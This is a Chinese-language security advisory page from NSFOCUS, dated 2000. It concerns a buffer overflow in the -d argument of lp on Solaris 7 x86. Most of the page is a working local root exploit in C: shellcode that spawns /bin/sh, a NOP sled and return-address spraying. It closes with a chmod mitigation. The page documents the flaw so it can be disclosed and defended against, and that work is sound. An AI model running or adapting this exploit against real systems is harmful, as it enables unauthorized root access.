首页 -> 安全研究

安全研究

安全漏洞
Solaris 7 lp -d 参数缓冲区溢出漏洞

发布日期:2000-04-26
更新日期:2000-04-26

受影响系统:
Sun Solaris 7.0_x86
不受影响系统:
Sun Solaris 7.0 for SPARC
描述:

Solaris 7所带的lp程序存在一个缓冲区溢出漏洞。通过给lp的-d参数提供一个很长的buffer,
其中包含可执行代码,有可能使lp程序以root身份执行任意命令。

注:这个安全漏洞仅影响Solaris 7的x86版本,Sparc 版本不受影响。

<* 来源:Theodor Ragnar Gislason <teddi@linux.is> *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
*
* solaris 2.7 /usr/bin/lp local exploit, i386.
*
* discovered by DiGiT.
* try offset 150-250 if sploit fails
*
* greets: #!ADM, #!security.is, #hax, duke
*
* DiGiT - teddi@linux.is
*
*/

#include <stdio.h>
#include <stdlib.h>


char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

#define BUFSIZE  1100

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

  char buff[BUFSIZE];
  int nopcount=501, offset=260;
  int i;

  if (argc > 1) offset = atoi(argv[1]);
  if (argc > 2) nopcount  = atoi(argv[2]);

        memset (buff, 0x90, BUFSIZE);

                for (i = nopcount; i < BUFSIZE - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;
        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
        (shellcode));

            memcpy (buff, ":", 1);
            printf("Addr = 0x%x\n", get_esp() + offset);
         execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
}


建议:
临时解决方法:chmod u-s `which lp`

浏览次数:5919
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障